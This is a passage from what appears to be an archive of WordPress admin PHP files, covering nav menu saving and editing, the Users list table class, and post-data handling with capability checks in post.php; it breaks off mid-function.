'menu-item-target' => ( isset( $_item_object_data['menu-item-target'] ) ? $_item_object_data['menu-item-target'] : '' ), 'menu-item-classes' => ( isset( $_item_object_data['menu-item-classes'] ) ? $_item_object_data['menu-item-classes'] : '' ), 'menu-item-xfn' => ( isset( $_item_object_data['menu-item-xfn'] ) ? $_item_object_data['menu-item-xfn'] : '' ), ); $items_saved[] = wp_update_nav_menu_item( $menu_id, $_actual_db_id, $args ); } } return $items_saved; } /** * Adds custom arguments to some of the meta box object types. * * @since 3.0.0 * * @access private * * @param object $object The post type or taxonomy meta-object. * @return object The post type of taxonomy object. */ function _wp_nav_menu_meta_box_object( $object = null ) { if ( isset( $object->name ) ) { if ( 'page' == $object->name ) { $object->_default_query = array( 'orderby' => 'menu_order title', 'post_status' => 'publish', ); // posts should show only published items } elseif ( 'post' == $object->name ) { $object->_default_query = array( 'post_status' => 'publish', ); // cats should be in reverse chronological order } elseif ( 'category' == $object->name ) { $object->_default_query = array( 'orderby' => 'id', 'order' => 'DESC', ); // custom post types should show only published items } else { $object->_default_query = array( 'post_status' => 'publish', ); } } return $object; } /** * Returns the menu formatted to edit. * * @since 3.0.0 * * @param string $menu_id The ID of the menu to format. * @return string|WP_Error $output The menu formatted to edit or error object on failure. */ function wp_get_nav_menu_to_edit( $menu_id = 0 ) { $menu = wp_get_nav_menu_object( $menu_id ); // If the menu exists, get its items. if ( is_nav_menu( $menu ) ) { $menu_items = wp_get_nav_menu_items( $menu->term_id, array('post_status' => 'any') ); $result = '<div id="menu-instructions" class="post-body-plain'; $result .= ( ! empty($menu_items) ) ? ' menu-instructions-inactive">' : '">'; $result .= '<p>' . __( 'Add menu items from the column on the left.' ) . '</p>'; $result .= '</div>'; if( empty($menu_items) ) return $result . ' <ul class="menu" id="menu-to-edit"> </ul>'; /** * Filter the Walker class used to render a menu formatted for editing. * * @since 3.0.0 * * @param string $walker_class_name The Walker class used to render a menu formatted for editing. * @param int $menu_id The ID of the menu being rendered. */ $walker_class_name = apply_filters( 'wp_edit_nav_menu_walker', 'Walker_Nav_Menu_Edit', $menu_id ); if ( class_exists( $walker_class_name ) ) $walker = new $walker_class_name; else return new WP_Error( 'menu_walker_not_exist', sprintf( __('The Walker class named <strong>%s</strong> does not exist.'), $walker_class_name ) ); $some_pending_menu_items = $some_invalid_menu_items = false; foreach( (array) $menu_items as $menu_item ) { if ( isset( $menu_item->post_status ) && 'draft' == $menu_item->post_status ) $some_pending_menu_items = true; if ( ! empty( $menu_item->_invalid ) ) $some_invalid_menu_items = true; } if ( $some_pending_menu_items ) $result .= '<div class="updated inline"><p>' . __('Click Save Menu to make pending menu items public.') . '</p></div>'; if ( $some_invalid_menu_items ) $result .= '<div class="error inline"><p>' . __('There are some invalid menu items. Please check or delete them.') . '</p></div>'; $result .= '<ul class="menu" id="menu-to-edit"> '; $result .= walk_nav_menu_tree( array_map('wp_setup_nav_menu_item', $menu_items), 0, (object) array('walker' => $walker ) ); $result .= ' </ul> '; return $result; } elseif ( is_wp_error( $menu ) ) { return $menu; } } /** * Returns the columns for the nav menus page. * * @since 3.0.0 * * @return string|WP_Error $output The menu formatted to edit or error object on failure. */ function wp_nav_menu_manage_columns() { return array( '_title' => __('Show advanced menu properties'), 'cb' => '<input type="checkbox" />', 'link-target' => __('Link Target'), 'css-classes' => __('CSS Classes'), 'xfn' => __('Link Relationship (XFN)'), 'description' => __('Description'), ); } /** * Deletes orphaned draft menu items * * @access private * @since 3.0.0 * */ function _wp_delete_orphaned_draft_menu_items() { global $wpdb; $delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS ); // delete orphaned draft menu items $menu_items_to_delete = $wpdb->get_col($wpdb->prepare("SELECT ID FROM $wpdb->posts AS p LEFT JOIN $wpdb->postmeta AS m ON p.ID = m.post_id WHERE post_type = 'nav_menu_item' AND post_status = 'draft' AND meta_key = '_menu_item_orphaned' AND meta_value < '%d'", $delete_timestamp ) ); foreach( (array) $menu_items_to_delete as $menu_item_id ) wp_delete_post( $menu_item_id, true ); } add_action('admin_head-nav-menus.php', '_wp_delete_orphaned_draft_menu_items'); /** * Saves nav menu items * * @since 3.6.0 * * @uses wp_get_nav_menu_items() to retrieve the nav menu's menu items * @uses wp_defer_term_counter() to enable then disable term counting * * @param int|string $nav_menu_selected_id (id, slug, or name ) of the currently-selected menu * @param string $nav_menu_selected_title Title of the currently-selected menu * @return array $messages The menu updated message */ function wp_nav_menu_update_menu_items ( $nav_menu_selected_id, $nav_menu_selected_title ) { $unsorted_menu_items = wp_get_nav_menu_items( $nav_menu_selected_id, array( 'orderby' => 'ID', 'output' => ARRAY_A, 'output_key' => 'ID', 'post_status' => 'draft,publish' ) ); $menu_items = array(); // Index menu items by db ID foreach ( $unsorted_menu_items as $_item ) $menu_items[$_item->db_id] = $_item; $post_fields = array( 'menu-item-db-id', 'menu-item-object-id', 'menu-item-object', 'menu-item-parent-id', 'menu-item-position', 'menu-item-type', 'menu-item-title', 'menu-item-url', 'menu-item-description', 'menu-item-attr-title', 'menu-item-target', 'menu-item-classes', 'menu-item-xfn' ); wp_defer_term_counting( true ); // Loop through all the menu items' POST variables if ( ! empty( $_POST['menu-item-db-id'] ) ) { foreach( (array) $_POST['menu-item-db-id'] as $_key => $k ) { // Menu item title can't be blank if ( ! isset( $_POST['menu-item-title'][ $_key ] ) || '' == $_POST['menu-item-title'][ $_key ] ) continue; $args = array(); foreach ( $post_fields as $field ) $args[$field] = isset( $_POST[$field][$_key] ) ? $_POST[$field][$_key] : ''; $menu_item_db_id = wp_update_nav_menu_item( $nav_menu_selected_id, ( $_POST['menu-item-db-id'][$_key] != $_key ? 0 : $_key ), $args ); if ( is_wp_error( $menu_item_db_id ) ) $messages[] = '<div id="message" class="error"><p>' . $menu_item_db_id->get_error_message() . '</p></div>'; elseif ( isset( $menu_items[$menu_item_db_id] ) ) unset( $menu_items[$menu_item_db_id] ); } } // Remove menu items from the menu that weren't in $_POST if ( ! empty( $menu_items ) ) { foreach ( array_keys( $menu_items ) as $menu_item_id ) { if ( is_nav_menu_item( $menu_item_id ) ) { wp_delete_post( $menu_item_id ); } } } // Store 'auto-add' pages. $auto_add = ! empty( $_POST['auto-add-pages'] ); $nav_menu_option = (array) get_option( 'nav_menu_options' ); if ( ! isset( $nav_menu_option['auto_add'] ) ) $nav_menu_option['auto_add'] = array(); if ( $auto_add ) { if ( ! in_array( $nav_menu_selected_id, $nav_menu_option['auto_add'] ) ) $nav_menu_option['auto_add'][] = $nav_menu_selected_id; } else { if ( false !== ( $key = array_search( $nav_menu_selected_id, $nav_menu_option['auto_add'] ) ) ) unset( $nav_menu_option['auto_add'][$key] ); } // Remove nonexistent/deleted menus $nav_menu_option['auto_add'] = array_intersect( $nav_menu_option['auto_add'], wp_get_nav_menus( array( 'fields' => 'ids' ) ) ); update_option( 'nav_menu_options', $nav_menu_option ); wp_defer_term_counting( false ); /** This action is documented in wp-includes/nav-menu.php */ do_action( 'wp_update_nav_menu', $nav_menu_selected_id ); $messages[] = '<div id="message" class="updated"><p>' . sprintf( __( '<strong>%1$s</strong> has been updated.' ), $nav_menu_selected_title ) . '</p></div>'; unset( $menu_items, $unsorted_menu_items ); return $messages; } class-wp-users-list-table.php000077700000031635151514577750012243 0ustar00<?php /** * Users List Table class. * * @since 3.1.0 * @access private * * @package WordPress * @subpackage List_Table */ class WP_Users_List_Table extends WP_List_Table { /** * Site ID to generate the Users list table for. * * @since 3.1.0 * @access public * @var int */ var $site_id; /** * Whether or not the current Users list table is for Multisite. * * @since 3.1.0 * @access public * @var bool */ var $is_site_users; /** * Constructor. * * @since 3.1.0 * @access public */ function __construct( $args = array() ) { parent::__construct( array( 'singular' => 'user', 'plural' => 'users', 'screen' => isset( $args['screen'] ) ? $args['screen'] : null, ) ); $this->is_site_users = 'site-users-network' == $this->screen->id; if ( $this->is_site_users ) $this->site_id = isset( $_REQUEST['id'] ) ? intval( $_REQUEST['id'] ) : 0; } /** * Check the current user's permissions. * * @since 3.1.0 * @access public */ function ajax_user_can() { if ( $this->is_site_users ) return current_user_can( 'manage_sites' ); else return current_user_can( 'list_users' ); } /** * Prepare the users list for display. * * @since 3.1.0 * @access public */ function prepare_items() { global $role, $usersearch; $usersearch = isset( $_REQUEST['s'] ) ? wp_unslash( trim( $_REQUEST['s'] ) ) : ''; $role = isset( $_REQUEST['role'] ) ? $_REQUEST['role'] : ''; $per_page = ( $this->is_site_users ) ? 'site_users_network_per_page' : 'users_per_page'; $users_per_page = $this->get_items_per_page( $per_page ); $paged = $this->get_pagenum(); $args = array( 'number' => $users_per_page, 'offset' => ( $paged-1 ) * $users_per_page, 'role' => $role, 'search' => $usersearch, 'fields' => 'all_with_meta' ); if ( '' !== $args['search'] ) $args['search'] = '*' . $args['search'] . '*'; if ( $this->is_site_users ) $args['blog_id'] = $this->site_id; if ( isset( $_REQUEST['orderby'] ) ) $args['orderby'] = $_REQUEST['orderby']; if ( isset( $_REQUEST['order'] ) ) $args['order'] = $_REQUEST['order']; // Query the user IDs for this page $wp_user_search = new WP_User_Query( $args ); $this->items = $wp_user_search->get_results(); $this->set_pagination_args( array( 'total_items' => $wp_user_search->get_total(), 'per_page' => $users_per_page, ) ); } /** * Output 'no users' message. * * @since 3.1.0 * @access public */ function no_items() { _e( 'No matching users were found.' ); } /** * Return an associative array listing all the views that can be used * with this table. * * Provides a list of roles and user count for that role for easy * filtering of the user table. * * @since 3.1.0 * @access public * * @return array An array of HTML links, one for each view. */ function get_views() { global $wp_roles, $role; if ( $this->is_site_users ) { $url = 'site-users.php?id=' . $this->site_id; switch_to_blog( $this->site_id ); $users_of_blog = count_users(); restore_current_blog(); } else { $url = 'users.php'; $users_of_blog = count_users(); } $total_users = $users_of_blog['total_users']; $avail_roles =& $users_of_blog['avail_roles']; unset($users_of_blog); $current_role = false; $class = empty($role) ? ' class="current"' : ''; $role_links = array(); $role_links['all'] = "<a href='$url'$class>" . sprintf( _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $total_users, 'users' ), number_format_i18n( $total_users ) ) . '</a>'; foreach ( $wp_roles->get_names() as $this_role => $name ) { if ( !isset($avail_roles[$this_role]) ) continue; $class = ''; if ( $this_role == $role ) { $current_role = $role; $class = ' class="current"'; } $name = translate_user_role( $name ); /* translators: User role name with count */ $name = sprintf( __('%1$s <span class="count">(%2$s)</span>'), $name, number_format_i18n( $avail_roles[$this_role] ) ); $role_links[$this_role] = "<a href='" . esc_url( add_query_arg( 'role', $this_role, $url ) ) . "'$class>$name</a>"; } return $role_links; } /** * Retrieve an associative array of bulk actions available on this table. * * @since 3.1.0 * @access public * * @return array Array of bulk actions. */ function get_bulk_actions() { $actions = array(); if ( is_multisite() ) { if ( current_user_can( 'remove_users' ) ) $actions['remove'] = __( 'Remove' ); } else { if ( current_user_can( 'delete_users' ) ) $actions['delete'] = __( 'Delete' ); } return $actions; } /** * Output the controls to allow user roles to be changed in bulk. * * @since 3.1.0 * @access public * * @param string $which Whether this is being invoked above ("top") * or below the table ("bottom"). */ function extra_tablenav( $which ) { if ( 'top' != $which ) return; ?> <div class="alignleft actions"> <?php if ( current_user_can( 'promote_users' ) ) : ?> <label class="screen-reader-text" for="new_role"><?php _e( 'Change role to…' ) ?></label> <select name="new_role" id="new_role"> <option value=''><?php _e( 'Change role to…' ) ?></option> <?php wp_dropdown_roles(); ?> </select> <?php submit_button( __( 'Change' ), 'button', 'changeit', false ); endif; /** * Fires just before the closing div containing the bulk role-change controls * in the Users list table. * * @since 3.5.0 */ do_action( 'restrict_manage_users' ); echo '</div>'; } /** * Capture the bulk action required, and return it. * * Overridden from the base class implementation to capture * the role change drop-down. * * @since 3.1.0 * @access public * * @return string The bulk action required. */ function current_action() { if ( isset($_REQUEST['changeit']) && !empty($_REQUEST['new_role']) ) return 'promote'; return parent::current_action(); } /** * Get a list of columns for the list table. * * @since 3.1.0 * @access public * * @return array Array in which the key is the ID of the column, * and the value is the description. */ function get_columns() { $c = array( 'cb' => '<input type="checkbox" />', 'username' => __( 'Username' ), 'name' => __( 'Name' ), 'email' => __( 'E-mail' ), 'role' => __( 'Role' ), 'posts' => __( 'Posts' ) ); if ( $this->is_site_users ) unset( $c['posts'] ); return $c; } /** * Get a list of sortable columns for the list table. * * @since 3.1.0 * @access public * * @return array Array of sortable columns. */ function get_sortable_columns() { $c = array( 'username' => 'login', 'name' => 'name', 'email' => 'email', ); if ( $this->is_site_users ) unset( $c['posts'] ); return $c; } /** * Generate the list table rows. * * @since 3.1.0 * @access public */ function display_rows() { // Query the post counts for this page if ( ! $this->is_site_users ) $post_counts = count_many_users_posts( array_keys( $this->items ) ); $editable_roles = array_keys( get_editable_roles() ); $style = ''; foreach ( $this->items as $userid => $user_object ) { if ( count( $user_object->roles ) <= 1 ) { $role = reset( $user_object->roles ); } elseif ( $roles = array_intersect( array_values( $user_object->roles ), $editable_roles ) ) { $role = reset( $roles ); } else { $role = reset( $user_object->roles ); } if ( is_multisite() && empty( $user_object->allcaps ) ) continue; $style = ( ' class="alternate"' == $style ) ? '' : ' class="alternate"'; echo "\n\t" . $this->single_row( $user_object, $style, $role, isset( $post_counts ) ? $post_counts[ $userid ] : 0 ); } } /** * Generate HTML for a single row on the users.php admin panel. * * @since 3.1.0 * @access public * * @param object $user_object The current user object. * @param string $style Optional. Style attributes added to the <tr> element. * Must be sanitized. Default empty. * @param string $role Optional. Key for the $wp_roles array. Default empty. * @param int $numposts Optional. Post count to display for this user. Defaults * to zero, as in, a new user has made zero posts. * @return string Output for a single row. */ function single_row( $user_object, $style = '', $role = '', $numposts = 0 ) { global $wp_roles; if ( !( is_object( $user_object ) && is_a( $user_object, 'WP_User' ) ) ) $user_object = get_userdata( (int) $user_object ); $user_object->filter = 'display'; $email = $user_object->user_email; if ( $this->is_site_users ) $url = "site-users.php?id={$this->site_id}&"; else $url = 'users.php?'; $checkbox = ''; // Check if the user for this row is editable if ( current_user_can( 'list_users' ) ) { // Set up the user editing link $edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user_object->ID ) ) ); // Set up the hover actions for this user $actions = array(); if ( current_user_can( 'edit_user', $user_object->ID ) ) { $edit = "<strong><a href=\"$edit_link\">$user_object->user_login</a></strong><br />"; $actions['edit'] = '<a href="' . $edit_link . '">' . __( 'Edit' ) . '</a>'; } else { $edit = "<strong>$user_object->user_login</strong><br />"; } if ( !is_multisite() && get_current_user_id() != $user_object->ID && current_user_can( 'delete_user', $user_object->ID ) ) $actions['delete'] = "<a class='submitdelete' href='" . wp_nonce_url( "users.php?action=delete&user=$user_object->ID", 'bulk-users' ) . "'>" . __( 'Delete' ) . "</a>"; if ( is_multisite() && get_current_user_id() != $user_object->ID && current_user_can( 'remove_user', $user_object->ID ) ) $actions['remove'] = "<a class='submitdelete' href='" . wp_nonce_url( $url."action=remove&user=$user_object->ID", 'bulk-users' ) . "'>" . __( 'Remove' ) . "</a>"; /** * Filter the action links displayed under each user in the Users list table. * * @since 2.8.0 * * @param array $actions An array of action links to be displayed. * Default 'Edit', 'Delete' for single site, and * 'Edit', 'Remove' for Multisite. * @param WP_User $user_object WP_User object for the currently-listed user. */ $actions = apply_filters( 'user_row_actions', $actions, $user_object ); $edit .= $this->row_actions( $actions ); // Set up the checkbox ( because the user is editable, otherwise it's empty ) $checkbox = '<label class="screen-reader-text" for="cb-select-' . $user_object->ID . '">' . sprintf( __( 'Select %s' ), $user_object->user_login ) . '</label>' . "<input type='checkbox' name='users[]' id='user_{$user_object->ID}' class='$role' value='{$user_object->ID}' />"; } else { $edit = '<strong>' . $user_object->user_login . '</strong>'; } $role_name = isset( $wp_roles->role_names[$role] ) ? translate_user_role( $wp_roles->role_names[$role] ) : __( 'None' ); $avatar = get_avatar( $user_object->ID, 32 ); $r = "<tr id='user-$user_object->ID'$style>"; list( $columns, $hidden ) = $this->get_column_info(); foreach ( $columns as $column_name => $column_display_name ) { $class = "class=\"$column_name column-$column_name\""; $style = ''; if ( in_array( $column_name, $hidden ) ) $style = ' style="display:none;"'; $attributes = "$class$style"; switch ( $column_name ) { case 'cb': $r .= "<th scope='row' class='check-column'>$checkbox</th>"; break; case 'username': $r .= "<td $attributes>$avatar $edit</td>"; break; case 'name': $r .= "<td $attributes>$user_object->first_name $user_object->last_name</td>"; break; case 'email': $r .= "<td $attributes><a href='" . esc_url( "mailto:$email" ) . "' title='" . esc_attr( sprintf( __( 'E-mail: %s' ), $email ) ) . "'>$email</a></td>"; break; case 'role': $r .= "<td $attributes>$role_name</td>"; break; case 'posts': $attributes = 'class="posts column-posts num"' . $style; $r .= "<td $attributes>"; if ( $numposts > 0 ) { $r .= "<a href='edit.php?author=$user_object->ID' title='" . esc_attr__( 'View posts by this author' ) . "' class='edit'>"; $r .= $numposts; $r .= '</a>'; } else { $r .= 0; } $r .= "</td>"; break; default: $r .= "<td $attributes>"; /** * Filter the display output of custom columns in the Users list table. * * @since 2.8.0 * * @param string $output Custom column output. Default empty. * @param string $column_name Column name. * @param int $user_id ID of the currently-listed user. */ $r .= apply_filters( 'manage_users_custom_column', '', $column_name, $user_object->ID ); $r .= "</td>"; } } $r .= '</tr>'; return $r; } } post.php000077700000151235151514577750006301 0ustar00<?php /** * WordPress Post Administration API. * * @package WordPress * @subpackage Administration */ /** * Rename $_POST data from form names to DB post columns. * * Manipulates $_POST directly. * * @package WordPress * @since 2.6.0 * * @param bool $update Are we updating a pre-existing post? * @param array $post_data Array of post data. Defaults to the contents of $_POST. * @return object|bool WP_Error on failure, true on success. */ function _wp_translate_postdata( $update = false, $post_data = null ) { if ( empty($post_data) ) $post_data = &$_POST; if ( $update ) $post_data['ID'] = (int) $post_data['post_ID']; $ptype = get_post_type_object( $post_data['post_type'] ); if ( $update && ! current_user_can( 'edit_post', $post_data['ID'] ) ) { if ( 'page' == $post_data['post_type'] ) return new WP_Error( 'edit_others_pages', __( 'You are not allowed to edit pages as this user.' ) ); else return new WP_Error( 'edit_others_posts', __( 'You are not allowed to edit posts as this user.' ) ); } elseif ( ! $update && ! current_user_can( $ptype->cap->create_posts ) ) { if ( 'page' == $post_data['post_type'] ) return new WP_Error( 'edit_others_pages', __( 'You are not allowed to create pages as this user.' ) ); else return new WP_Error( 'edit_others_posts', __( 'You are not allowed to create posts as this user.' ) ); } if ( isset( $post_data['content'] ) ) $post_data['post_content'] = $post_data['content']; if ( isset( $post_data['excerpt'] ) ) $post_data['post_excerpt'] = $post_data['excerpt']; if ( isset( $post_data['parent_id'] ) ) $post_data['post_parent'] = (int) $post_data['parent_id']; if ( isset($post_data['trackback_url']) ) $post_data['to_ping'] = $post_data['trackback_url']; $post_data['user_ID'] = get_current_user_id(); if (!empty ( $post_data['post_author_override'] ) ) { $post_data['post_author'] = (int) $post_data['post_author_override']; } else { if (!empty ( $post_data['post_author'] ) ) { $post_data['post_author'] = (int) $post_data['post_author']; } else { $post_data['post_author'] = (int) $post_data['user_ID']; } } if ( isset( $post_data['user_ID'] ) && ( $post_data['post_author'] != $post_data['user_ID'] ) && ! current_user_can( $ptype->cap->edit_others_posts ) ) { if ( $update ) { if ( 'page' == $post_data['post_type'] ) return new WP_Error( 'edit_others_pages', __( 'You are not allowed to edit pages as this user.' ) ); else return new WP_Error( 'edit_others_posts', __( 'You are not allowed to edit posts as this user.' ) ); } else { if ( 'page' == $post_data['post_type'] ) return new WP_Error( 'edit_others_pages', __( 'You are not allowed to create pages as this user.' ) ); else return new WP_Error( 'edit_others_posts', __( 'You are not allowed to create posts as this user.' ) ); } } if ( ! empty( $post_data['post_status'] ) ) { $post_data['post_status'] = sanitize_key( $post_data['post_status'] ); // No longer an auto-draft if ( 'auto-draft' === $post_data['post_status'] ) { $post_data['post_status'] = 'draft'; } if ( ! get_post_status_object( $post_data['post_status'] ) ) { unset( $post_data['post_status'] ); } } // What to do based on which button they pressed if ( isset($post_data['saveasdraft']) && '' != $post_data['saveasdraft'] ) $post_data['post_status'] = 'draft'; if ( isset($post_data['saveasprivate']) && '' != $post_data['saveasprivate'] ) $post_data['post_status'] = 'private'; if ( isset($post_data['publish']) && ( '' != $post_data['publish'] ) && ( !isset($post_data['post_status']) || $post_data['post_status'] != 'private' ) ) $post_data['post_status'] = 'publish'; if ( isset($post_data['advanced']) && '' != $post_data['advanced'] ) $post_data['post_status'] = 'draft'; if ( isset($post_data['pending']) && '' != $post_data['pending'] ) $post_data['post_status'] = 'pending'; if ( isset( $post_data['ID'] ) ) $post_id = $post_data['ID']; else $post_id = false; $previous_status = $post_id ? get_post_field( 'post_status', $post_id ) : false; if ( isset( $post_data['post_status'] ) && 'private' == $post_data['post_status'] && ! current_user_can( $ptype->cap->publish_posts ) ) { $post_data['post_status'] = $previous_status ? $previous_status : 'pending'; } $published_statuses = array( 'publish', 'future' ); // Posts 'submitted for approval' present are submitted to $_POST the same as if they were being published. // Change status from 'publish' to 'pending' if user lacks permissions to publish or to resave published posts. if ( isset($post_data['post_status']) && (in_array( $post_data['post_status'], $published_statuses ) && !current_user_can( $ptype->cap->publish_posts )) ) if ( ! in_array( $previous_status, $published_statuses ) || !current_user_can( 'edit_post', $post_id ) ) $post_data['post_status'] = 'pending'; if ( ! isset( $post_data['post_status'] ) ) { $post_data['post_status'] = 'auto-draft' === $previous_status ? 'draft' : $previous_status; } if ( isset( $post_data['post_password'] ) && ! current_user_can( $ptype->cap->publish_posts ) ) { unset( $post_data['post_password'] ); } if (!isset( $post_data['comment_status'] )) $post_data['comment_status'] = 'closed'; if (!isset( $post_data['ping_status'] )) $post_data['ping_status'] = 'closed'; foreach ( array('aa', 'mm', 'jj', 'hh', 'mn') as $timeunit ) { if ( !empty( $post_data['hidden_' . $timeunit] ) && $post_data['hidden_' . $timeunit] != $post_data[$timeunit] ) { $post_data['edit_date'] = '1'; break; } } if ( !empty( $post_data['edit_date'] ) ) { $aa = $post_data['aa']; $mm = $post_data['mm']; $jj = $post_data['jj']; $hh = $post_data['hh']; $mn = $post_data['mn']; $ss = $post_data['ss']; $aa = ($aa <= 0 ) ? date('Y') : $aa; $mm = ($mm <= 0 ) ? date('n') : $mm; $jj = ($jj > 31 ) ? 31 : $jj; $jj = ($jj <= 0 ) ? date('j') : $jj; $hh = ($hh > 23 ) ? $hh -24 : $hh; $mn = ($mn > 59 ) ? $mn -60 : $mn; $ss = ($ss > 59 ) ? $ss -60 : $ss; $post_data['post_date'] = sprintf( "%04d-%02d-%02d %02d:%02d:%02d", $aa, $mm, $jj, $hh, $mn, $ss ); $valid_date = wp_checkdate( $mm, $jj, $aa, $post_data['post_date'] ); if ( !$valid_date ) { return new WP_Error( 'invalid_date', __( 'Whoops, the provided date is invalid.' ) ); } $post_data['post_date_gmt'] = get_gmt_from_date( $post_data['post_date'] ); } if ( isset( $post_data['post_category'] ) ) { $category_object = get_taxonomy( 'category' ); if ( ! current_user_can( $category_object->cap->assign_terms ) ) { unset( $post_data['post_category'] ); } } return $post_data; } /** * Returns only allowed post data fields * * @since 4.9.9 * * @param array $post_data Array of post data. Defaults to the contents of $_POST. * @return object|bool WP_Error on failure, true on success. */ function _wp_get_allowed_postdata( $post_data = null ) { if ( empty( $post_data ) ) { $post_data = $_POST; } // Pass through errors if ( is_wp_error( $post_data ) ) { return $post_data; } return array_diff_key( $post_data, array_flip( array( 'meta_input', 'file', 'guid' ) ) ); } /** * Update an existing post with values provided in $_POST. * * @since 1.5.0 * * @param array $post_data Optional. * @return int Post ID. */ function edit_post( $post_data = null ) { global $wpdb; if ( empty($post_data) ) $post_data = &$_POST; // Clear out any data in internal vars. unset( $post_data['filter'] ); $post_ID = (int) $post_data['post_ID']; $post = get_post( $post_ID ); $post_data['post_type'] = $post->post_type; $post_data['post_mime_type'] = $post->post_mime_type; if ( ! empty( $post_data['post_status'] ) ) { $post_data['post_status'] = sanitize_key( $post_data['post_status'] ); if ( 'inherit' == $post_data['post_status'] ) { unset( $post_data['post_status'] ); } } $ptype = get_post_type_object($post_data['post_type']); if ( !current_user_can( 'edit_post', $post_ID ) ) { if ( 'page' == $post_data['post_type'] ) wp_die( __('You are not allowed to edit this page.' )); else wp_die( __('You are not allowed to edit this post.' )); } if ( post_type_supports( $ptype->name, 'revisions' ) ) { $revisions = wp_get_post_revisions( $post_ID, array( 'order' => 'ASC', 'posts_per_page' => 1 ) ); $revision = current( $revisions ); // Check if the revisions have been upgraded if ( $revisions && _wp_get_post_revision_version( $revision ) < 1 ) _wp_upgrade_revisions_of_post( $post, wp_get_post_revisions( $post_ID ) ); } if ( isset($post_data['visibility']) ) { switch ( $post_data['visibility'] ) { case 'public' : $post_data['post_password'] = ''; break; case 'password' : unset( $post_data['sticky'] ); break; case 'private' : $post_data['post_status'] = 'private'; $post_data['post_password'] = ''; unset( $post_data['sticky'] ); break; } } $post_data = _wp_translate_postdata( true, $post_data ); if ( is_wp_error($post_data) ) wp_die( $post_data->get_error_message() ); $translated = _wp_get_allowed_postdata( $post_data ); // Post Formats if ( isset( $post_data['post_format'] ) ) set_post_format( $post_ID, $post_data['post_format'] ); $format_meta_urls = array( 'url', 'link_url', 'quote_source_url' ); foreach ( $format_meta_urls as $format_meta_url ) { $keyed = '_format_' . $format_meta_url; if ( isset( $post_data[ $keyed ] ) ) update_post_meta( $post_ID, $keyed, wp_slash( esc_url_raw( wp_unslash( $post_data[ $keyed ] ) ) ) ); } $format_keys = array( 'quote', 'quote_source_name', 'image', 'gallery', 'audio_embed', 'video_embed' ); foreach ( $format_keys as $key ) { $keyed = '_format_' . $key; if ( isset( $post_data[ $keyed ] ) ) { if ( current_user_can( 'unfiltered_html' ) ) update_post_meta( $post_ID, $keyed, $post_data[ $keyed ] ); else update_post_meta( $post_ID, $keyed, wp_filter_post_kses( $post_data[ $keyed ] ) ); } } if ( 'attachment' === $post_data['post_type'] && preg_match( '#^(audio|video)/#', $post_data['post_mime_type'] ) ) { $id3data = wp_get_attachment_metadata( $post_ID ); if ( ! is_array( $id3data ) ) { $id3data = array(); } foreach ( wp_get_attachment_id3_keys( $post, 'edit' ) as $key => $label ) { if ( isset( $post_data[ 'id3_' . $key ] ) ) { $id3data[ $key ] = sanitize_text_field( wp_unslash( $post_data[ 'id3_' . $key ] ) ); } } wp_update_attachment_metadata( $post_ID, $id3data ); } // Meta Stuff if ( isset($post_data['meta']) && $post_data['meta'] ) { foreach ( $post_data['meta'] as $key => $value ) { if ( !$meta = get_post_meta_by_id( $key ) ) continue; if ( $meta->post_id != $post_ID ) continue; if ( is_protected_meta( $value['key'], 'post' ) || ! current_user_can( 'edit_post_meta', $post_ID, $value['key'] ) ) continue; update_meta( $key, $value['key'], $value['value'] ); } } if ( isset($post_data['deletemeta']) && $post_data['deletemeta'] ) { foreach ( $post_data['deletemeta'] as $key => $value ) { if ( !$meta = get_post_meta_by_id( $key ) ) continue; if ( $meta->post_id != $post_ID ) continue; if ( is_protected_meta( $meta->meta_key, 'post' ) || ! current_user_can( 'delete_post_meta', $post_ID, $meta->meta_key ) ) continue; delete_meta( $key ); } } // Attachment stuff if ( 'attachment' == $post_data['post_type'] ) { if ( isset( $post_data[ '_wp_attachment_image_alt' ] ) ) { $image_alt = wp_unslash( $post_data['_wp_attachment_image_alt'] ); if ( $image_alt != get_post_meta( $post_ID, '_wp_attachment_image_alt', true ) ) { $image_alt = wp_strip_all_tags( $image_alt, true ); // update_meta expects slashed update_post_meta( $post_ID, '_wp_attachment_image_alt', wp_slash( $image_alt ) ); } } $attachment_data = isset( $post_data['attachments'][ $post_ID ] ) ? $post_data['attachments'][ $post_ID ] : array(); /** This filter is documented in wp-admin/includes/media.php */ $translated = apply_filters( 'attachment_fields_to_save', $translated, $attachment_data ); } add_meta( $post_ID ); update_post_meta( $post_ID, '_edit_last', get_current_user_id() ); $success = wp_update_post( $translated ); // If the save failed, see if we can sanity check the main fields and try again if ( ! $success && is_callable( array( $wpdb, 'strip_invalid_text_for_column' ) ) ) { $fields = array( 'post_title', 'post_content', 'post_excerpt' ); foreach( $fields as $field ) { if ( isset( $translated[ $field ] ) ) { $translated[ $field ] = $wpdb->strip_invalid_text_for_column( $wpdb->posts, $field, $translated[ $field ] ); } } wp_update_post( $translated ); } // Now that we have an ID we can fix any attachment anchor hrefs _fix_attachment_links( $post_ID ); wp_set_post_lock( $post_ID ); if ( current_user_can( $ptype->cap->edit_others_posts ) ) { if ( ! empty( $post_data['sticky'] ) ) stick_post( $post_ID ); else unstick_post( $post_ID ); } return $post_ID; } /** * Process the post data for the bulk editing of posts. * * Updates all bulk edited posts/pages, adding (but not removing) tags and * categories. Skips pages when they would be their own parent or child. * * @since 2.7.0 * * @param array $post_data Optional, the array of post data to process if not provided will use $_POST superglobal. * @return array */ function bulk_edit_posts( $post_data = null ) { global $wpdb; if ( empty($post_data) ) $post_data = &$_POST; if ( isset($post_data['post_type']) ) $ptype = get_post_type_object($post_data['post_type']); else $ptype = get_post_type_object('post'); if ( !current_user_can( $ptype->cap->edit_posts ) ) { if ( 'page' == $ptype->name ) wp_die( __('You are not allowed to edit pages.')); else wp_die( __('You are not allowed to edit posts.')); } if ( -1 == $post_data['_status'] ) { $post_data['post_status'] = null; unset($post_data['post_status']); } else { $post_data['post_status'] = $post_data['_status']; } unset($post_data['_status']); if ( ! empty( $post_data['post_status'] ) ) { $post_data['post_status'] = sanitize_key( $post_data['post_status'] ); if ( 'inherit' == $post_data['post_status'] ) { unset( $post_data['post_status'] ); } } $post_IDs = array_map( 'intval', (array) $post_data['post'] ); $reset = array( 'post_author', 'post_status', 'post_password', 'post_parent', 'page_template', 'comment_status', 'ping_status', 'keep_private', 'tax_input', 'post_category', 'sticky', 'post_format', ); foreach ( $reset as $field ) { if 